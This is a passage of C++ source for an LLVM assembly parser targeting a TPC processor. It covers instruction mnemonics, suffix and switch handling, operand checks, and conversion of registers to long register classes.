(SwitchValue & TPCII::SW_MDG_TYPE_MASK) ==\n TPCII::SW_MDG_TYPE_UNPACK &&\n Mnemonic.equals_lower(\"mov_dg\")) {\n auto MovDGUnpack = TPCOperand::CreateMovDGUnpack(\n TPCII::SW_MDG_TYPE_UNPACK, Range.Start, Range.End);\n TempOperand = MovDGUnpack.get();\n Operands.insert(Operands.begin() + 1, std::move(MovDGUnpack));\n }\n }\n\n if (SpecialOperand && TempOperand) {\n Error(Range.Start, \"the switch conflicts with another\", Range);\n Error(SpecialOperand->getStartLoc(), \"conflicting switch is here\",\n SpecialOperand->getLocRange());\n return false;\n }\n\n SpecialOperand = TempOperand;\n return Result;\n}\n\n\nstatic bool shallSuffixBeAPartOfMnemonic(StringRef Mnemonic, StringRef Suffix, SlotParser Slot, bool &NeedAsSwitch) {\n // TODO: Initially Slot is Unknown.\n if (Mnemonic.equals_lower(\"mov\") /*&& Slot == SlotParser::Load*/) {\n return Suffix.equals_lower(\"from_hw_reg\") || Suffix.equals_lower(\"to_hw_reg\");\n }\n if (Mnemonic.equals_lower(\"mov_dg\") || Mnemonic.equals_lower(\"mov_dual_group\")) {\n if (Suffix.equals_lower(\"all\") || Suffix.equals_lower(\"pack\")) {\n NeedAsSwitch = true;\n return true;\n }\n }\n return false;\n}\n\n\nstatic bool isSoloInstruction(StringRef Mnemonic) {\n return StringSwitch<bool>(Mnemonic)\n .Case(\"loop\", true)\n .Default(false);\n}\n\nbool TPCAsmParser::ParseInstruction(ParseInstructionInfo &Info,\n StringRef Mnemonic, SMLoc MnemonicLoc,\n OperandVector &Operands) {\n if (Mnemonic.equals(\"{\") || Mnemonic.equals(\"}\")) {\n NewAsmFormat = !Mnemonic.equals(\"}\");\n\n return true;\n }\n\n MCAsmParser &Parser = getParser();\n MCAsmLexer &Lexer = getLexer();\n\n // If the current slot is undefined, check if we are parsing a solo\n // instruction. If not, change slot from Unknown to Load.\n if (CurrentSlot == SlotParser::Unknown) {\n if (!isSoloInstruction(Mnemonic))\n initBundle(MnemonicLoc);\n else\n CurrentSlot = SlotParser::Special;\n }\n\n // If we need to make message referring to the instruction mnemonic or a part\n // of it, we cannot use 'Name', because it is allocated aside of input buffer\n // and we cannot use SMLoc to address it. So recreate real name, which is\n // resides in the input buffer. However this name is not canocicalized to\n // lower case.\n StringRef FullName = StringRef(MnemonicLoc.getPointer(), Mnemonic.size());\n\n // Many instructions may have suffixes in their opcode, like 'ADD.I32.ST.CARRY'.\n // In this case we split such opcode into real opcode and operand(s) that\n // represent these suffixes.\n SmallVector<StringRef, 4> Suffixes;\n if (!FullName.contains(\".i64\") && FullName.contains('.'))\n FullName.split(Suffixes, '.');\n else if (FullName.contains(\".i64\")) {\n // do not split convert.i64\n }\n\n StringRef BareMnemonic; // Mnemonic without suffixes.\n if (Suffixes.empty())\n BareMnemonic = Mnemonic;\n else\n BareMnemonic = Mnemonic.take_front(Suffixes.front().size());\n\n // The first suffix may be a part of mnemonic.\n bool NeedAsSwitch = false;\n if (Suffixes.size() > 1 &&\n shallSuffixBeAPartOfMnemonic(Suffixes.front(), Suffixes[1], CurrentSlot, NeedAsSwitch)) {\n Suffixes[0] = FullName.take_front(Suffixes.front().size() + Suffixes[1].size() + 1);\n if (!NeedAsSwitch)\n Suffixes.erase(Suffixes.begin() + 1);\n }\n\n // If data type suffix (like '.I32') presents, it must be the first one.\n TPCII::OpType DataType = TPCII::OpType::Invalid;\n SMLoc DataTypeStartLoc;\n SMLoc DataTypeEndLoc;\n StringRef DataTypeSuffix;\n SMRange DataTypeRange;\n for (unsigned I = 1, E = Suffixes.size(); I < E; ++I) {\n StringRef Suffix = Suffixes[I];\n SMLoc SuffixStartLoc = SMLoc::getFromPointer(Suffix.begin());\n SMLoc SuffixEndLoc = SMLoc::getFromPointer(Suffix.end());\n TPCII::OpType DT = parseDataTypeSuffix(Suffix);\n if (DT != TPCII::OpType::Invalid) {\n if (I != 1) {\n SMRange SuffixRange(SuffixStartLoc, SuffixEndLoc);\n Error(SuffixStartLoc, \"Data type must be specified first\", SuffixRange);\n return true;\n }\n DataType = DT;\n DataTypeSuffix = Suffix;\n DataTypeRange = SMRange(SuffixStartLoc, SuffixEndLoc);\n }\n }\n\n // Make datatype argument. Data type may be represented by a separate argument\n // of type 'DataType', be incorporated into instruction mnemonic or treated as\n // switch set.\n std::unique_ptr<TPCOperand> DataTypeOp;\n bool DataTypeAsSwitch = false;\n if (!Suffixes.empty()) {\n if (DataType != TPCII::OpType::Invalid) {\n if (keepDataTypeInMnemonic(Suffixes[0], CurrentSlot, getSTI().getFeatureBits())) {\n Mnemonic = Mnemonic.take_front(Suffixes.front().size() + Suffixes[1].size() + 1);\n } else {\n Mnemonic = Mnemonic.take_front(Suffixes.front().size());\n }\n if (needDataTypeAsOperand(Mnemonic, CurrentSlot, getSTI().getFeatureBits()))\n DataTypeOp = TPCOperand::CreateDataType(DataType, DataTypeStartLoc, DataTypeEndLoc);\n else\n DataTypeAsSwitch = true;\n Suffixes.erase(Suffixes.begin());\n } else {\n Mnemonic = Mnemonic.take_front(Suffixes.front().size());\n }\n Suffixes.erase(Suffixes.begin());\n }\n\n // Split bare mnemonic and switch for same instructions\n if (Mnemonic.equals_lower(\"mov_group\"))\n Mnemonic = BareMnemonic = \"mov_g\";\n else if (Mnemonic.startswith_lower(\"mov_dual_group\"))\n Mnemonic = BareMnemonic = \"mov_dg\";\n else if (Mnemonic.startswith_lower(\"mov_dg\"))\n Mnemonic = Mnemonic.substr(0, 6);\n\n if (BareMnemonic.empty())\n BareMnemonic = Mnemonic;\n\n // The first operand is the instruction name.\n Operands.push_back(TPCOperand::CreateToken(Mnemonic, MnemonicLoc));\n\n // The second operand is DataType operand if it presents.\n if (DataTypeOp)\n Operands.push_back(std::move(DataTypeOp));\n\n // If the instruction can have switches, let it always have switch operand,\n // even if it is zero. It follows datatype operand if the latter presents.\n unsigned SwitchSetPos = 0;\n TPCOperand *Sw = nullptr;\n unsigned AllSwFlags = 0;\n if (TPCII::doesInstructionHasASwitch(BareMnemonic, CurrentSlot)) {\n SMLoc SwitchSetStartLoc;\n SMLoc SwitchSetEndLoc;\n if (!Suffixes.empty()) {\n SwitchSetStartLoc = SMLoc::getFromPointer(Suffixes.front().begin());\n SwitchSetEndLoc = SMLoc::getFromPointer(Suffixes.back().end());\n } else {\n SwitchSetStartLoc = MnemonicLoc;\n SwitchSetEndLoc = MnemonicLoc;\n }\n SwitchSetPos = Operands.size();\n Operands.push_back(TPCOperand::CreateSwitchSet(SwitchSetStartLoc,\n SwitchSetEndLoc));\n Sw = static_cast<TPCOperand *>(Operands.back().get());\n }\n\n // In non arithmetic slots the data type, if it does not become an operand, is\n // turned into switch.\n if (DataTypeAsSwitch && SwitchSetPos)\n if (CurrentSlot == SlotParser::Load || CurrentSlot == SlotParser::Store) {\n auto &Sw = *static_cast<TPCOperand *>(Operands.back().get());\n bool IsUnknown;\n std::vector<std::string> SwNames = Sw.getSwitchNames();\n std::string Msg = TPCII::incorporateSwitch(DataTypeSuffix, \"\", BareMnemonic,\n CurrentSlot, DataType, /*IsSuffix*/true, IsUnknown, AllSwFlags, SwNames);\n if (!Msg.empty()) {\n Error(DataTypeRange.Start, Msg, DataTypeRange);\n return true;\n }\n Sw.setSwitchSet(AllSwFlags);\n }\n\n // Other suffixes may be in any order, they have integer values corresponding\n // to the bits in switch field.\n for (auto &Suffix : Suffixes) {\n Lexer.UnLex(AsmToken(AsmToken::Identifier, Suffix));\n }\n\n // Instruction is followed by list of operands, which is limited by\n // end-of-statement token (semicolon, line feed or end-of line).\n // The operand list may start with arguments separated by spaces (like\n // 'ADD.I32 b11011 I1, I2, I3'), which can be followed by comma-separated\n // operands.\n bool CommaSeen = false;\n if (Lexer.isNot(AsmToken::EndOfStatement) && Lexer.isNot(AsmToken::Eof)) {\n // Read the operands.\n while (true) {\n if (parseOperand(Operands, BareMnemonic) != MatchOperand_Success)\n return true;\n TPCOperand &LastOp = static_cast<TPCOperand &>(*Operands.back());\n // Check for comma and eat it.\n if (Lexer.is(AsmToken::Comma)) {\n Parser.Lex();\n //Processing switch set separated by comma\n if (!LastOp.isSwitchSet()){\n CommaSeen = true;\n }\n } else if (CommaSeen || Lexer.is(AsmToken::EndOfStatement)) {\n break;\n } else {\n // The last operand is not separated by a comma from the next operand.\n // It is allowed only for limited kinds of operands.\n if (!LastOp.isDimMask() && // ADD.I32 b11011 I5, I4, I2\n !LastOp.isRegSelTo() &&\n !LastOp.isAccumulator() &&\n !LastOp.isImm() && // MOV_IRF_DIM 0 S2, I4\n !LastOp.isSwitchSet())\n break;\n }\n }\n\n if (Lexer.isNot(AsmToken::EndOfStatement))\n return TokError(\"unexpected token in argument list\");\n }\n\n const MCParsedAsmOperand *LabelOperand = nullptr;\n if (Mnemonic.compare_lower(\"jmpr\") == 0) {\n assert(Operands.size() >= 2);\n if (Operands[1]->isImm()) {\n LabelOperand = Operands[1].get();\n LLVM_DEBUG(dbgs() << \"JMP instuction with label:\" <<\n getStringFromLoc(LabelOperand->getStartLoc(),\n LabelOperand->getEndLoc()) << \" detected\\n\");\n }\n } else if (Mnemonic.compare_lower(\"loop\") == 0) {\n assert(Operands.size() >= 6);\n LabelOperand = Operands[5].get();\n LLVM_DEBUG(dbgs() << \"LOOP instuction with label: \" <<\n getStringFromLoc(LabelOperand->getStartLoc(),\n LabelOperand->getEndLoc()) << \" detected\\n\");\n }\n if (LabelOperand)\n OperatorLabels.insert(getStringFromLoc(LabelOperand->getStartLoc(),\n LabelOperand->getEndLoc()));\n\n // If the instruction has a switchset operand, set proper default values\n // switches that were not specified and have non-zero default value.\n if (SwitchSetPos != 0) {\n TPCOperand &SwitchSetOp = static_cast<TPCOperand &>(*Operands[SwitchSetPos]);\n unsigned CurrentSwitchSet = SwitchSetOp.getSwitchSet();\n const std::vector<std::string> &SwNames = SwitchSetOp.getSwitchNames();\n if (TPCII::getDefaultSwitches(Mnemonic, CurrentSlot, DataType,\n CurrentSwitchSet, SwNames))\n SwitchSetOp.setSwitchSet(CurrentSwitchSet);\n\n TPCOperand *SpecialOperand = nullptr;\n for (const std::string &Switch : SwNames){\n parseAsSeparateSwitch(Switch, BareMnemonic, SwitchSetOp.getLocRange(),\n Operands, CurrentSwitchSet, SpecialOperand);\n }\n }\n\n auto IsX2Switch = [&Operands]() -> bool {\n const TPCOperand &SwitchOp =\n static_cast<const TPCOperand &>(*Operands[2]);\n assert(SwitchOp.isSwitchSet() && \"Must be SwitchSet\");\n return SwitchOp.isSwitchSet() &&\n (SwitchOp.getSwitchSet() & TPCII::SW_X2_ARITHMETIC);\n };\n auto IsFP32Type = [&Operands]() -> bool {\n const TPCOperand &DataTypeOp =\n static_cast<const TPCOperand &>(*Operands[1]);\n assert(DataTypeOp.isDataType() && \"Must be DataType\");\n return DataTypeOp.isDataType() &&\n (DataTypeOp.getDataType() == TPCII::OpType::FP32);\n };\n // Check if arguments SRF of Imm\n auto IsBothImm = [](const TPCOperand &Op1,\n const TPCOperand &Op2) -> bool {\n return Op1.isImm() && Op2.isImm();\n };\n auto IsBothSrf = [](const TPCOperand &Op1,\n const TPCOperand &Op2) -> bool {\n return Op1.isReg() && Op2.isReg() &&\n Op1.getRegClass() == TPC::SRFRegClassID &&\n Op2.getRegClass() == TPC::SRFRegClassID;\n };\n // Check instruction with two immediate\n if (BareMnemonic.compare_lower(\"add\") == 0 ||\n BareMnemonic.compare_lower(\"sub\") == 0) {\n // Skip if not x2 and if not FP32\n if (IsX2Switch() && IsFP32Type()) {\n const TPCOperand &SrcBOp =\n static_cast<const TPCOperand &>(*Operands[5]);\n const TPCOperand &SrcDOp =\n static_cast<const TPCOperand &>(*Operands[6]);\n if (IsBothImm(SrcBOp, SrcDOp) && SrcBOp.getImm() != SrcDOp.getImm() ||\n IsBothSrf(SrcBOp, SrcDOp) && SrcBOp.getReg() != SrcDOp.getReg()) {\n Error(SrcDOp.getStartLoc(),\n \"The second and the third sources must be equal in the case both are SRFs or immediates\",\n SrcDOp.getLocRange());\n return true;\n }\n }\n } else if (BareMnemonic.compare_lower(\"mac\") == 0 ||\n BareMnemonic.compare_lower(\"mul\") == 0) {\n // Skip if not x2 and if not FP32\n if (IsX2Switch() && IsFP32Type()) {\n const TPCOperand &SrcBOp =\n static_cast<const TPCOperand &>(*Operands[5]);\n const TPCOperand &SrcDOp =\n static_cast<const TPCOperand &>(*Operands[6]);\n if (IsBothImm(SrcBOp, SrcDOp) && SrcBOp.getImm() != SrcDOp.getImm() ||\n IsBothSrf(SrcBOp, SrcDOp) && SrcBOp.getReg() != SrcDOp.getReg()) {\n Error(SrcDOp.getStartLoc(),\n \"The second and the fourth sources must be equal in the case both are SRFs or immediates\",\n SrcDOp.getLocRange());\n return true;\n }\n }\n }\n\n LLVM_DEBUG({\n dbgs() << \"Operands: \";\n for (unsigned I = 0; I < Operands.size(); ++I)\n Operands[I]->dump();\n dbgs() << '\\n';\n });\n\n // To properly parse instruction we need to recognize end-of-line, which\n // ends the current bundle.\n StringRef Delimiter;\n IsLastInstrInBundle = Lexer.is(AsmToken::Eof);\n if (!IsLastInstrInBundle) {\n Delimiter = Lexer.getTok().getString();\n // Recognize sequences of end-of-statement. Trailing comment is recognized\n // as EndOfStatement.\n while (Delimiter.equals(\";\") || NewAsmFormat) {\n Parser.Lex();\n IsLastInstrInBundle = Lexer.is(AsmToken::Eof);\n if (!Lexer.is(AsmToken::EndOfStatement) || IsLastInstrInBundle || NewAsmFormat)\n return false;\n Delimiter = Lexer.getTok().getString();\n }\n if (Delimiter.equals(\"\\r\\n\"))\n Delimiter = Delimiter.drop_front();\n IsLastInstrInBundle = Delimiter.equals(\"\\n\") ||\n (Delimiter.size() > 1 && Delimiter.substr(0, 2) == \"//\");\n\n // If we're missing a newline at EOF, make sure we still get an\n // EndOfStatement token before the Eof token.\n if (Lexer.is(AsmToken::EndOfStatement)) {\n AsmToken Current = Lexer.getTok();\n Lexer.Lex();\n if (Lexer.isNot(AsmToken::Eof)) {\n Lexer.UnLex(Current);\n } else {\n IsLastInstrInBundle = true;\n return false;\n }\n }\n }\n\n return false;\n}\n\n\nbool TPCAsmParser::ParseDirective(AsmToken DirectiveID) {\n AsmToken SectionNameToken =\n DirectiveID.getString().equals(\".section\") ?\n getTok() : DirectiveID;\n const char *MultipleDefErrorMessage = \"Multi definition {0} is denied\";\n bool ParseResult = true;\n if (SectionNameToken.getString()\n .equals_lower(BinaryTPCMetadataSectionName)) {\n // Check TPC header exists\n if (TPCHeader) {\n Error(DirectiveID.getLoc(),\n formatv(MultipleDefErrorMessage,\n StringTPCMetadataSectionName),\n DirectiveID.getLocRange());\n return false;\n }\n\n Lexer.Lex();\n ParseResult = parseTPCMetadata();\n } else if (SectionNameToken.getString().\n equals_lower(IndexMapSectionName)) {\n if (IndexMap) {\n Error(DirectiveID.getLoc(),\n formatv(MultipleDefErrorMessage,\n IndexMapSectionName),\n DirectiveID.getLocRange());\n return false;\n }\n\n Lexer.Lex();\n ParseResult = parseIndexMap();\n }\n\n if (!ParseResult)\n Error(SectionNameToken.getLoc(),\n formatv(\"Error occured during parse section {0}\",\n SectionNameToken.getString()),\n SectionNameToken.getLocRange());\n\n return ParseResult;\n}\n\n\nvoid TPCAsmParser::eatToEndOfLine() {\n while (Lexer.isNot(AsmToken::Eof)) {\n if (Lexer.is(AsmToken::EndOfStatement)) {\n StringRef Delimiter = Lexer.getTok().getString();\n if (Delimiter.equals(\"\\r\\n\"))\n Delimiter = Delimiter.drop_front();\n if (Delimiter == \"\\n\" || (Delimiter.size() > 1 && Delimiter.substr(0, 2) == \"//\"))\n break;\n }\n Lexer.Lex();\n }\n\n // Eat EOL.\n if (Lexer.is(AsmToken::EndOfStatement))\n Lexer.Lex();\n}\n\n\nMCInst *TPCAsmParser::getNOP(SlotParser Slot, SMLoc Loc) {\n MCInst *Result = new (getParser().getContext()) MCInst;\n Result->setLoc(Loc);\n switch (Slot) {\n case SlotParser::Load:\n Result->setOpcode(TPC::NOPld);\n break;\n case SlotParser::Scalar:\n Result->setOpcode(TPC::NOPs);\n break;\n case SlotParser::Vector:\n Result->setOpcode(TPC::NOPv);\n break;\n case SlotParser::Store:\n Result->setOpcode(TPC::NOPst);\n break;\n default:\n llvm_unreachable(\"Invalid slot\");\n }\n return Result;\n}\n\n\nMCInst *TPCAsmParser::getHALT(SlotParser Slot, SMLoc Loc) {\n MCInst *Result = new (getParser().getContext()) MCInst;\n Result->setLoc(Loc);\n switch (Slot) {\n case SlotParser::Scalar:\n Result->setOpcode(TPC::HALTs);\n break;\n case SlotParser::Vector:\n Result->setOpcode(TPC::HALTv);\n break;\n default:\n llvm_unreachable(\"Invalid slot\");\n }\n return Result;\n}\n\n\n// Check if the instruction allows a predicate register as the last\n// non-predicate operand.\nbool TPCAsmParser::canLastArgBeAPredicate(StringRef Mnemonic,\n const OperandVector &Operands,\n bool AlreadyParsed) {\n unsigned NumNonPredOperand = ~0U;\n switch (CurrentSlot) {\n case SlotParser::Load:\n NumNonPredOperand = StringSwitch<unsigned>(Mnemonic)\n .Case(\"mov\", 2) // MOV SP1, SP2\n .Case(\"mov.from_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Case(\"mov.to_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Default(~0U);\n break;\n case SlotParser::Scalar:\n NumNonPredOperand = StringSwitch<unsigned>(Mnemonic)\n .Case(\"mov\", 2) // MOV.I32 SP1, SP2\n .Case(\"mov.from_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Case(\"mov.to_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Case(\"not\", 2)\n .Case(\"and\", 3)\n .Case(\"or\", 3)\n .Case(\"xor\", 3)\n .Default(~0U);\n break;\n case SlotParser::Vector:\n NumNonPredOperand = StringSwitch<unsigned>(Mnemonic)\n .Case(\"mov\", 2) // MOV.i32 VP1, VP2\n .Case(\"mov.from_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Case(\"mov.to_hw_reg\", 2) // MOV.HW_REG 0, SP2\n .Case(\"not\", 2)\n .Case(\"and\", 3)\n .Case(\"or\", 3)\n .Case(\"xor\", 3)\n .Default(~0U);\n break;\n case SlotParser::Store:\n if (Mnemonic.startswith_lower(\"st_l_v\")) {\n if(getSTI().getFeatureBits()[TPC::FeatureAddr2]) {\n auto &MayBeMemRIOp = static_cast<TPCOperand &>(*Operands[2].get());\n NumNonPredOperand = MayBeMemRIOp.isMemRI() ? 2U // STL_L_V 100, S2, VP1\n : 3U; // STL_L_V S3, S2, VP1\n } else {\n NumNonPredOperand = 2; // ST_L_V S1, VP1\n }\n } else if (Mnemonic.startswith_lower(\"st_tnsr\")) {\n NumNonPredOperand = 3; // ST_TNSR 1, I3, VP4\n } else {\n NumNonPredOperand = StringSwitch<unsigned>(Mnemonic)\n .Case(\"st_g\", 2) // ST_G AD1, SP1\n .Case(\"st_l\", 2) // ST_L S1, SP1\n .Default(~0U);\n }\n break;\n default:\n return true;\n }\n if (NumNonPredOperand == ~0U)\n return true;\n\n // Skip leading pseudo operands (DataType, Switches).\n unsigned Shift = 0;\n for (unsigned I = 1, E = Operands.size(); I < E; ++I)\n if (static_cast<TPCOperand&>(*Operands[I]).isDataType() ||\n static_cast<TPCOperand&>(*Operands[I]).isSwitchSet())\n ++Shift;\n else\n break;\n assert(Shift <= 2);\n\n return Operands.size() - (AlreadyParsed ? 1 : 2) > NumNonPredOperand + Shift;\n}\n\n\nunsigned TPCAsmParser::convertToLongReg(unsigned RegNo, LongRegisterKind Kind) {\n struct TransPair {\n unsigned Src;\n unsigned Dst;\n };\n\n static const TransPair TableARF[] = {\n { TPC::V0, TPC::A0 },\n { TPC::V4, TPC::A4 },\n { TPC::V8, TPC::A8 },\n { TPC::V12, TPC::A12 },\n { TPC::V16, TPC::A16 },\n { TPC::V20, TPC::A20 },\n { TPC::V24, TPC::A24 },\n { TPC::V28, TPC::A28 },\n { TPC::V32, TPC::A32 },\n { TPC::V36, TPC::A36 },\n { 0, 0 }\n };\n static const TransPair TableDRF[] = {\n { TPC::V0, TPC::D0 },\n { TPC::V2, TPC::D2 },\n { TPC::V4, TPC::D4 },\n { TPC::V6, TPC::D6 },\n { TPC::V8, TPC::D8 },\n { TPC::V10, TPC::D10 },\n { TPC::V12, TPC::D12 },\n { TPC::V14, TPC::D14 },\n { TPC::V16, TPC::D16 },\n { TPC::V18, TPC::D18 },\n { TPC::V20, TPC::D20 },\n { TPC::V22, TPC::D22 },\n { TPC::V24, TPC::D24 },\n { TPC::V26, TPC::D26 },\n { TPC::V28, TPC::D28 },\n { TPC::V30, TPC::D30 },\n { TPC::V32, TPC::D32 },\n { TPC::V34, TPC::D34 },\n { TPC::V36, TPC::D36 },\n { TPC::V38, TPC::D38 },\n { 0, 0 }\n };\n static const TransPair TableZRF[] = {\n { TPC::S0, TPC::Z0 },\n { TPC::S2, TPC::Z2 },\n { TPC::S4, TPC::Z4 },\n { TPC::S6, TPC::Z6 },\n { TPC::S8, TPC::Z8 },\n { TPC::S10, TPC::Z10 },\n { TPC::S12, TPC::Z12 },\n { TPC::S14, TPC::Z14 },\n { TPC::S16, TPC::Z16 },\n { TPC::S18, TPC::Z18 },\n { TPC::S20, TPC::Z20 },\n { TPC::S22, TPC::Z22 },\n { TPC::S24, TPC::Z24 },\n { TPC::S26, TPC::Z26 },\n { TPC::S28, TPC::Z28 },\n { TPC::S30, TPC::Z30 },\n { TPC::S32, TPC::Z32 },\n { TPC::S34, TPC::Z34 },\n { 0, 0 }\n };\n\n const TransPair *TablePtr;\n switch (Kind) {\n case LongRegisterKind::ARF:\n TablePtr = TableARF;\n break;\n case LongRegisterKind::DRF:\n TablePtr = TableDRF;\n break;\n case LongRegisterKind::ZRF:\n TablePtr = TableZRF;\n break;\n }\n\n for (; TablePtr->Src; ++TablePtr) {\n if (TablePtr->Src == RegNo)\n return TablePtr->Dst;\n }\n return 0;\n}\n\n\nbool TPCAsmParser::replaceRegisterWithLong(OperandVector &Operands,\n unsigned RegOpNum,\n LongRegisterKind Kind) {\n auto *LongRegOp = static_cast<TPCOperand *>(Operands[RegOpNum].get());\n unsigned OldReg = LongRegOp->getReg();\n\n // Already long register.\n if (Kind == LongRegisterKind::ARF &&\n MRI->getRegClass(TPC::ARFRegClassID).contains(OldReg))\n return true;\n if (Kind == LongRegisterKind::DRF &&\n MRI->getRegClass(TPC::DRFRegClassID).contains(OldReg))\n return true;\n if (Kind == LongRegisterKind::ZRF &&\n MRI->getRegClass(TPC::ZRFRegClassID).contains(OldReg))\n return true;\n\n // Scalar variant.\n if (Kind == LongRegisterKind::ARF || Kind == LongRegisterKind::DRF)\n if (MRI->getRegClass(TPC::SRFRegClassID).contains(OldReg))\n return true;\n\n unsigned NewReg = convertToLongReg(OldReg, Kind);\n static const int RegClass[3] = { TPC::ARFRegClassID,\n TPC::DRFRegClassID,\n TPC::ZRFRegClassID };\n if (NewReg == 0) {\n // Invalid register.\n static const StringRef RegName[3] = { \"ARF\", \"DRF\", \"ZRF\" };\n static const StringRef RegAlign[3] = { \"4\", \"2\", \"2\" };\n Error(LongRegOp->getStartLoc(),\n \"Register '\" + StringRef(TPCInstPrinter::getRegisterName(OldReg)) +\n \"' Cannot be a start of \" + RegName[static_cast<unsigned>(Kind)] +\n \" register, the number must be a multiple of \" + RegAlign[static_cast<unsigned>(Kind)],\n LongRegOp->getLocRange());\n return false;\n }\n\n auto NewRegOp = TPCOperand::CreateReg(NewReg, RegClass[static_cast<unsigned>(Kind)],\n LongRegOp->getStartLoc(), LongRegOp->getEndLoc());\n Operands[RegOpNum] = std::move(NewRegOp);\n return true;\n}\n\n\nbool TPCAsmParser::adjustLongRegister(OperandVector &Operands) {\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n assert(Op.isToken() && \"Leading operand should always be a mnemonic!\");\n StringRef Mnemonic = Op.getToken();\n\n TPCOperand *LongRegOp = nullptr;\n unsigned DestRegOpNum = 1;\n unsigned AccRegNo = 0;\n LongRegisterKind Kind;\n\n if (Mnemonic.startswith_lower(\"mac\") || Mnemonic.startswith_lower(\"mul\")) {\n if (Operands.size() < 4)\n return true;\n\n TPCOperand &DataTypeOp = static_cast<TPCOperand &>(*Operands[1]);\n TPCOperand &SwitchOp = static_cast<TPCOperand &>(*Operands[2]);\n TPCII::OpType DataType = DataTypeOp.getDataType();\n unsigned Switches = SwitchOp.getSwitchSet();\n bool HasAccFlag = false;\n\n // In MAC and MUL instructions, the destination register comes after datatype,\n // switch set and accumulator type:\n DestRegOpNum = 3;\n LongRegOp = static_cast<TPCOperand*>(Operands[DestRegOpNum].get());\n if (LongRegOp->isAccumulator()) {\n HasAccFlag = true;\n LongRegOp = static_cast<TPCOperand*>(Operands[++DestRegOpNum].get());\n AccRegNo = LongRegOp->getReg();\n } else if (LongRegOp->isReg()) {\n AccRegNo = LongRegOp->getReg();\n }\n\n if (!LongRegOp->isReg())\n return true;\n AccRegNo = LongRegOp->getReg();\n if (!MRI->getRegClass(TPC::VRFRegClassID).contains(AccRegNo))\n return true;\n\n if (Mnemonic.startswith_lower(\"mac\")) {\n // If MAC has suffix ACC_I16 or ACC_FP32, it uses double registers.\n if (DataType == TPCII::OpType::INT8 || DataType == TPCII::OpType::UINT8) {\n if (HasAccFlag) {\n // MAC.I8.ACC_I16 V0, V5, V6 -> MAC.I8.ACC_I16 D0, V5, V6\n Kind = LongRegisterKind::DRF;\n } else {\n // MAC.I8 V0, V5, V6 -> MAC.I8 A0, V5, V6\n Kind = LongRegisterKind::ARF;\n }\n } else if (DataType == TPCII::OpType::INT16 || DataType == TPCII::OpType::UINT16) {\n // MAC.I16 V8, V1, V2 -> MAC.I16 D8, V1, V2\n Kind = LongRegisterKind::DRF;\n } else if (DataType == TPCII::OpType::BF16) {\n if (HasAccFlag) {\n // MAC.BF16.ACC_FP32 V6, V1, V2 -> MAC.BF16.ACC_FP32 D6, V1, V2\n Kind = LongRegisterKind::DRF;\n } else {\n return true;\n }\n } else {\n return true;\n }\n } else {\n if (DataType == TPCII::OpType::BF16) {\n // In MUL.BF16.ACC_FP32 V0, V1, V2: V0 ->D0\n if (HasAccFlag)\n Kind = LongRegisterKind::DRF;\n else\n return true;\n } else if (DataType == TPCII::OpType::INT32 || DataType == TPCII::OpType::UINT32) {\n if ((Switches & TPCII::SW_GROUP_RND32) == TPCII::SW_RND32_NO_ROUND) {\n //assert(!HasAccFlag);\n //auto AccOp = TPCOperand::CreateAccumulator(SwitchOp.getStartLoc(), SwitchOp.getEndLoc());\n //Operands.insert(Operands.begin() + 3, std::move(AccOp));\n //++DestRegOpNum;\n Kind = LongRegisterKind::DRF;\n } else {\n assert(!HasAccFlag);\n auto AccOp = TPCOperand::CreateAccumulator(SwitchOp.getStartLoc(), SwitchOp.getEndLoc());\n Operands.insert(Operands.begin() + 3, std::move(AccOp));\n return true;\n }\n } else if (DataType == TPCII::OpType::INT16 || DataType == TPCII::OpType::UINT16) {\n // In MUL.I16 V0, V1, V2: V0 -> D0\n Kind = LongRegisterKind::DRF;\n } else if (DataType == TPCII::OpType::INT8 || DataType == TPCII::OpType::UINT8) {\n Kind = LongRegisterKind::ARF;\n } else {\n return true;\n }\n }\n } else if (Mnemonic.startswith_lower(\"ash\")) {\n if (Operands.size() < 8) {\n return true;\n }\n DestRegOpNum = 5;\n unsigned RhazRsNo = 3;\n\n TPCOperand *RhazRsOp = static_cast<TPCOperand*>(Operands[RhazRsNo].get());\n if (RhazRsOp->isRhazRs()) {\n LongRegOp = static_cast<TPCOperand*>(Operands[DestRegOpNum].get());\n Kind = LongRegisterKind::DRF;\n AccRegNo = LongRegOp->getReg();\n if (!MRI->getRegClass(TPC::VRFRegClassID).contains(AccRegNo))\n return true;\n } else {\n Error(LongRegOp->getStartLoc(), \"Too many operands and no rhaz_rs switch\");\n return false;\n }\n\n } else if (Mnemonic.startswith_lower(\"sel2_\")) {\n const unsigned DestRegOpNum = 3;\n return replaceRegisterWithLong(Operands, DestRegOpNum, LongRegisterKind::DRF);\n } else if (Mnemonic.startswith_lower(\"get_lut_entry_and_interval_start\")) {\n const unsigned DestRegOpNum = 3;\n return replaceRegisterWithLong(Operands, DestRegOpNum, LongRegisterKind::DRF);\n } else if (Mnemonic.startswith_lower(\"lookup_c1c2\") ||\n Mnemonic.startswith_lower(\"lookup_c2\")) {\n const unsigned DestRegOpNum = 2;\n return replaceRegisterWithLong(Operands, DestRegOpNum, LongRegisterKind::DRF);\n } else if (Mnemonic.startswith_lower(\"udiv_\")) {\n DestRegOpNum = 4;\n LongRegOp = static_cast<TPCOperand*>(Operands[DestRegOpNum].get());\n if (LongRegOp->isReg())\n AccRegNo = LongRegOp->getReg();\n assert(LongRegOp->isReg() && \"Incorrect argument in udiv_step instruction\");\n\n AccRegNo = LongRegOp->getReg();\n\n if (!MRI->getRegClass(TPC::SRFRegClassID).contains(AccRegNo))\n return true;\n Kind = LongRegisterKind::ZRF;\n } else if (Mnemonic.startswith_lower(\"convert_int8\") ||\n Mnemonic.startswith_lower(\"convert_uint8\")) {\n const unsigned DestRegOpNum = 3;\n return replaceRegisterWithLong(Operands, DestRegOpNum, LongRegisterKind::DRF);\n } else if (Mnemonic.equals_lower(\"mov\")) {\n const unsigned SwitchOpNo = 1;\n TPCOperand *SwitchOp = static_cast<TPCOperand *>(Operands[SwitchOpNo].get());\n if (SwitchOp->isDataType())\n SwitchOp = static_cast<TPCOperand *>(Operands[SwitchOpNo + 1].get());\n unsigned Switches = SwitchOp->getSwitchSet();\n if (Switches & TPCII::SW_X2_MOV) {\n return replaceRegisterWithLong(Operands, 2, LongRegisterKind::DRF) &&\n 